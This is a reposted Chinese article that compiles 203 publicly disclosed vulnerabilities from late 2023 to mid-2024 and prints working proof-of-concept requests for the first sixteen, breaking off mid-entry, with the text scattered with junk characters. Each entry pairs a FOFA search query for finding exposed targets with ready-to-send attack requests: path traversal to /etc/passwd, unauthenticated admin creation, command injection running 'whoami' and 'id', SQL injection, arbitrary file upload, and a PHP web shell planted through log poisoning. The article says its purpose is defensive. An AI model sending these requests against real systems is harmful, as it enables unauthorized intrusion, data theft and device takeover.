互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
9 i2 b4 @' z1 v- ]8 M" Y
/ W* ^, V4 ^) J$ s: N0 ]/ e$ Q: d发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
) G& k, ]2 [) O5 p- p+ Q
- h* m% t  U% E: t漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
6 j; W! b9 _7 E6 `. s; w4 S
8 I! B, a; J% ^4 R2 @合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
, w  O. \  S3 p6 u& b
! i- X5 [7 ~" _# A
声明
7 P0 v4 d" i: U
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
. }5 Y' ^- U  z  |5 [% ~; N
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。


+ G2 B, H1 t' J, P
$ g3 G# j, `! S目录
' b! P) R" H$ `- F; O# @6 f
% Y) d6 `! }8 ^  j01

1. StarRocks MPP数据库未授权访问
# ]9 _* N+ _: h8 W9 a( `2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
# k' x8 g0 T7 M# T1 Z3 U4. EasyCVR视频管理平台存在任意用户添加
5 D) U! ]. d7 x+ m4 k6 x5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
, `7 N" C9 @0 i$ T) d& ?8. 斐讯 Phicomm 路由器RCE
6 {$ {; k& c# q4 P! J# }4 |9 G9. 稻壳CMS keyword 未授权SQL注入
# y/ e$ V4 ]5 o* S& n10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
0 h1 |- G. V- h  l! z3 d4 T: W' D13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
$ z( ?  c# L5 i% Z; z% B18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
0 U! U, S$ H6 O5 ]. S  W. a- w$ ~20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
, C; ?! t. k' `6 K, s" A" z$ @& T22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
$ h* q4 u5 B, E5 J25. 用友NC registerServlet JNDI 远程代码执行
/ \8 S8 ^1 K( b5 Y, C26. 用友NC linkVoucher SQL注入
; P" P9 D$ w" G* ?4 A3 ?& Q5 y) V27. 用友 NC showcontent SQL注入
9 M5 u7 n$ U: N3 V  U1 a0 k; \28. 用友NC grouptemplet 任意文件上传
8 h' \: \5 W( c: `+ ]' P, ~29. 用友NC down/bill SQL注入
; `' |/ ~( L: I8 `30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
. W# e( I$ ]4 V- g) A, }6 U32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
1 p6 z6 K) o$ u( H% B35. 用友NC-Cloud importhttpscer任意文件上传
# J# M6 u. [6 {: I) p& y1 O- I36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
7 l1 U. k5 ?1 T# W7 d8 R- [  R39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
6 W! r/ e! \+ R# \42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
( W( w) [+ @" B) [: L% H: _46. 用友GRP-U8 sqcxIndex.jsp SQL注入
4 n0 d# @) V8 c47. 用友GRP A++Cloud 政府财务云 任意文件读取
4 x3 L, G, o3 I0 i  E* A48. 用友U8 CRM swfupload 任意文件上传
/ e! m% C1 l( J* A49. 用友U8 CRM系统uploadfile.php接口任意文件上传
3 K, D3 \: F* F8 a50. QDocs Smart School 6.4.1 filterRecords SQL注入
, \. D7 @; T) j! I51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
) {9 l; e  I1 _$ I4 z; y8 O52. 泛微E-Office json_common.php sql注入
* X  y4 h+ {; a; b4 z" j2 h+ R53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
# y; S1 R9 \: D0 i$ J56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
$ t" s0 s: K5 S) N58. 畅捷通T+ KeyInfoList.aspx sql注入
! v* u3 i/ `% R; T59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
, O5 p+ Y* h8 H# e2 y61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
  [( ^! |# w1 {+ A62. IP-guard WebServer 远程命令执行
. M( {4 m) c9 Z3 H# [& S63. IP-guard WebServer任意文件读取
3 i4 n& o+ s9 [& f( \64. 捷诚管理信息系统CWSFinanceCommon SQL注入
) d& b* u9 P. h9 A$ _6 `% n65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
  T' K% M9 v& @* @2 z66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
/ [. u7 H' i) P+ B& `% A. {68. 万户ezOFFICE wf_printnum.jsp SQL注入
: c% M( {, l4 m8 C2 [69. 万户 ezOFFICE contract_gd.jsp SQL注入
/ q+ d! _. o6 K1 m' a70. 万户ezEIP success 命令执行
8 q. _1 s( ~- c; ^71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
  S6 B- v( g2 f$ I/ O72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
' K9 r+ e, S( C# @% |4 E! z/ d74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
- N0 L+ r8 G% g76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
& `- A! B2 I3 l+ c4 ?80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
6 _: S1 |/ `: s, z' M, b: L, o/ ?# w84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
  C  o, F' M  G+ h% P: q85. SysAid On-premise< 23.3.36远程代码执行
$ t/ B0 A& J7 d4 }/ I* @86. 日本tosei自助洗衣机RCE
/ e( s4 F3 D6 k: [- F1 h8 q! q5 |87. 安恒明御安全网关aaa_local_web_preview文件上传
& E: b5 H# o4 s+ z: T88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
! t* Q' B2 L  q( f3 D; m89. 致远互联FE协作办公平台editflow_manager存在sql注入
$ F# A# N. z: K3 Y7 p90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
) a' T- E: N1 C" o0 M) a, k4 h. R! J- V91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
; ~7 Q& {1 H5 D92. 海康威视运行管理中心session命令执行
- w# ]' _4 o! g2 a1 P; @8 C6 t93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
) V# ?4 I& u0 Q$ r  t/ y$ z( h94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
8 d6 V. d  O/ ]0 W- }* W& V2 O95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
% g( x7 B) l% o2 F96. Apache OFBiz  18.12.11 groovy 远程代码执行
- I+ w# Z! F5 }) g7 S97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
1 J& A8 i, w7 v. d4 p102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
; h2 b* W4 D: ?# a/ S; j3 O4 [4 ~107. SpringBlade tenant/list SQL 注入
  p  L# O2 ^, n- W108. D-Tale 3.9.0 SSRF
/ R( r5 j$ n( ^; K# P109. Jenkins CLI 任意文件读取
7 r' Y5 f. b4 Q9 @  N  O, S110. Goanywhere MFT 未授权创建管理员
+ G* d: \' U2 n. X  X111. WordPress Plugin HTML5 Video Player SQL注入
5 `% ?% D& Q( J0 C' J1 K! @112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
  h1 G( x  @2 M8 J: B114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
, x% p' K6 K9 k* T116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
* ]- N' q8 K  e0 B8 ^9 h118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
3 @$ u1 t6 v' b0 `2 a121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
/ D# i5 O6 N+ ^7 z; o/ M1 ~) x123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
1 N, q6 \# S/ w4 }5 ?+ w5 i126. Aiohttp 路径遍历
5 v+ ^  Y4 t$ {127. 广联达Linkworks DataExchange.ashx XXE
' e+ S' @" [/ O5 I) W7 ?( G0 a128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
5 V; }: w- M3 A+ i: R# ?130. Laykefu客服系统任意文件上传
4 L; C2 F3 v# k8 K. d: K131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
! ]# Q0 Y5 a4 r5 b  |137. 福建科立迅通信指挥调度平台down_file.php sql注入
, J6 W- A+ b) j$ M9 A2 j138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
; r" k2 u3 o: S0 ^1 l139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
+ e; B* c( a4 V, F$ E) H' W141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
& [% b' U" R* X; Y# T( ~145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
3 G& F7 u9 E9 O$ D146. MajorDoMo thumb.php 未授权远程代码执行
. V2 d' G. H$ ~: A" ^4 [147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
* x6 {3 X6 O6 x8 T! Z' k149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
: `. Q' H* p# ?( ^# t& ?9 Y151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
8 \' W/ \& _' J3 V" r158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
: _& I* B( l' t+ y" t7 g' E* }160. Sonatype Nexus Repository 3目录遍历与文件读取
$ G" l. J+ m6 l  ^5 t2 u3 X. P161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
4 ?* E2 Q! }) a. K$ W8 v4 `7 C" P( r7 D162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
6 s& W& ?; X" C/ H) r168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
2 v0 D/ {6 R5 x( _5 N. @( R1 `7 O; F171. 通天星CMSV6车载定位监控平台 SQL注入
. m! s0 V5 o7 N: I172. DT-高清车牌识别摄像机任意文件读取
* i/ T# q& F  E( [6 Y) F173. Check Point 安全网关任意文件读取
( h' l( C9 N8 ^" l- g( u+ G2 @174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
" V) u9 G# f" a2 w178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
/ K, z2 N* h" B, k$ L/ }180. 帮管客 CRM jiliyu SQL注入
8 J3 {" D# t, f; d7 j- M8 o181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
3 H1 r+ m: Q# U( s, [) t& F; d7 t" [182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
3 y# M0 M' X( Q5 l183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
4 W6 B2 N7 m4 Y+ Z5 K/ a185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
( k. n" y$ i1 I5 R188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
" P* Q& O9 b" r1 ^- I7 i1 \194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
& E( f4 E7 ]( o$ Z3 r  c$ Y: f. ^197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
, }( [% k4 Z) o: B( a: M) z4 O200. SeaCMS海洋影视管理系统dmku SQL注入
2 H' s, {# L  n' y& q201. 方正全媒体新闻采编系统 binary SQL注入
$ n% d1 r  p& U$ ~202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

POC列表
5 q1 r4 H) I0 c/ M* i' ]+ x
02
+ u) Z5 S6 C) r' J
1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
4 ~4 D% o- w. e' N  d5 cGET /mem_tracker HTTP/1.1
( c/ C) ]0 r' `Host: URL


2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
8 J# P0 h- W5 c, a$ |GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
$ b  j+ n% E' {  z- k' W0 \

3. EasyCVR智能边缘网关 userlist 信息泄漏
5 O) W% p) i1 w9 q0 b3 h5 [4 [; }FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
& V' d) n  {4 i5 D, G* k" L. ?Host: xx.xx.xx.xx
) Y) c5 h" ~1 x" M/ k: ^
$ c6 G" l" f3 H( ]0 G8 W
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
. q4 A% X& U. X( s; }$ p
password更改为自己的密码md5
2 S0 L( g) K; y, r& ^POST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
1 g: \5 F" P9 a7 m6 H) ?' |
* k0 x6 M3 V1 ^. ~# S9 [% A! O: O0 y
5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx

7 w0 \* |4 |8 o8 U3 }) M6 R2 T
# A: M! f: w; o0 j* b6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
% j, J6 U1 m2 x. A9 FGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:


3 B- w! [; j' C. K- h7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
$ n9 d* r# g/ }/ dHost:
/ ]. i6 w1 K) o" H& q: S+ J
- Q  C0 J3 b9 m% |) t; {9 a
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
, q. H' K+ X0 mPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
5 V9 L3 a3 w. O6 h, s  U4 OHost: x.x.x.x
( N5 ^( h; B+ F/ _9 ]9 s5 M! |! HCookie: sysauth=第一步登录获取的cookie
; v) z9 k0 }9 b1 N$ lContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
' T0 W/ z" p* [( h# Z- M3 ?. |' LContent-Disposition: form-data; name="wifiRebootEnablestatus"
, C: o9 c. P3 E( {3 q4 ~: f. _& ?
%s
: h; [: M* n! s1 E1 z------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
' h3 p' ^& _6 L5 R% b3 u------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
$ z6 f# {& J; [0 U" R3 j3 z' ~& S, \
%s:
( E  z$ t* b# Y( R------WebKitFormBoundaryxbgjoytz
/ S. C* i' U: DContent-Disposition: form-data; name="cururl2"

5 h) f0 T( J) e# C# d8 j
' R: h3 y  S5 u& f: b; P------WebKitFormBoundaryxbgjoytz--
1 C- c! u  l" e9 S7 P. t! a5 u

9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
: I  ]/ I7 p  ~% k5 Q9 T/ _: nGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x

0 _; q) ?  Q5 J+ V) G) b. }# M
payload为下列语句的二次Url编码
* Y: q1 b8 p' y' W6 m+ b& [
, o: N2 s/ @3 T1 I' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
, B. S9 U+ `2 h: q. H. W
+ G* \& C7 j+ d  {0 j! H10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"
5 c. _! E3 m! a/ B- A  V0 \6 ?
2 E+ _! ?0 j* T文件上传后响应中包含上传文件的路径
0 [. d* J) Q, c2 \! y! L. H% vPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
8 m) H/ h3 H4 j6 w
------WebKitFormBoundaryxdgaqmqu
2 g8 S; @1 e7 a( J" AContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
$ g1 P  Q/ P: Q; b9 k
jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--


11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
" m" b. i  `; p0 T" N! AFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
/ @( v4 C! B2 b4 q2 a5 YHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
, O& j; C! B- p! S9 c5 L: ~3 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
6 {1 ^+ q& }1 AAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
: V: Y6 ]) [+ {4 z: y
2 _& U" S2 d  N  @3 B& T, @) a5 X% s
12. Jorani < 1.0.2 远程命令执行
5 }& m! ?0 M$ X1 ~1 Q6 e. U1 vFOFA：title="Jorani"
1 V* M# Q5 {6 T" D# k% _+ v第一步先拿到cookie
0 ~% }, B9 j; M7 U- ?* }GET /session/login HTTP/1.1
. u) W1 P/ |# m' XHost: 192.168.190.30
; t, C8 s2 d, u& FUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
9 V* h# m% ]& U+ K$ _Accept-Encoding: gzip

! F7 s- G/ I; t' x6 v+ a1 B! }
响应中csrf_cookie_jorani用于后续请求
, S, Y' W/ m8 O/ [% j$ f; Q' OHTTP/1.1 200 OK
8 z/ ^) C+ @  n7 t! ~/ u4 ?Connection: close
. E# y: d5 e. q% m* c& `) I+ |Cache-Control: no-store, no-cache, must-revalidate
6 W9 ?3 W5 b1 z9 a; HContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
6 `! K/ v4 h& rSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
3 ^1 {' B& g) ?! s1 v) p% wVary: Accept-Encoding


POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
2 e- P: o, N# T6 u& y7 |Content-Length: 252
Content-Type: application/x-www-form-urlencoded
$ j5 P- C' d2 WCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
5 N: _. u! R7 q7 uAccept-Encoding: gzip
9 o7 H  D. z% g  K+ W7 ~
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

) z; x$ }3 U6 i: p- Y
, {, B+ g5 m) c. R- C6 W
2 J& l/ N( N9 x3 S9 E: P% O( v向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
4 C1 I( Z6 b1 VHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
( W" j0 u( J4 q4 j2 M- w9 y/ yConnection: close
7 m. Q& {6 g9 K% |1 Q4 UCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
" j5 ~) x# o" P# vX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip

' c6 ]5 A& s; H$ `/ ?6 Z
13. 红帆iOffice ioFileDown任意文件读取
3 V4 P' F9 P8 n4 V4 fFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
  d" n) ]% v  G# P5 H) ?" zHost: x.x.x.x
; E" ]/ W9 O* h; j' o' QUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
# G( }" ?1 X) I, y8 HConnection: close
: R! ^+ a; ?0 v3 H- r& |* ?; iAccept: */*
Accept-Encoding: gzip

: c: J& q& ?( [, n1 q, a( ^
. _# P7 M. @8 a" ]7 e14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
# T( A$ Z* b) X5 S4 oGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
- [5 B+ w, c4 o' y8 \" `; MAccept-Language: en
3 ]$ Z8 O! A: D' O7 f- K0 L. [Accept-Encoding: gzip

3 E0 w- @" O% ~  Y
15. 华夏ERP getAllList信息泄露
6 Z3 Q$ K5 h* wCVE-2024-0490
/ ~/ w( v- K( q. T* xFOFA：body="jshERP-boot"
泄露内容包括用户名密码
% t/ L! Y6 N% a' hGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
7 a6 w; u( P! ~1 Y0 Z2 _3 r) iHost: 192.168.40.130:100
; e' D/ b8 \/ H: P/ t/ NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
  @* V6 i8 X( d* W6 mConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
' Y$ N6 P9 l. Y& Z3 W- \Accept-Language: en
sec-ch-ua-platform: Windows
3 M* ^4 P' c. Q! RAccept-Encoding: gzip


% R) l; w8 T' D. a) S* t16.  红帆HFOffice医微云SQL注入
# J2 m4 k4 ^, m+ {FOFA：title="HFOffice"
1 N/ t7 h" H% ?poc中调用函数计算1234的md5值
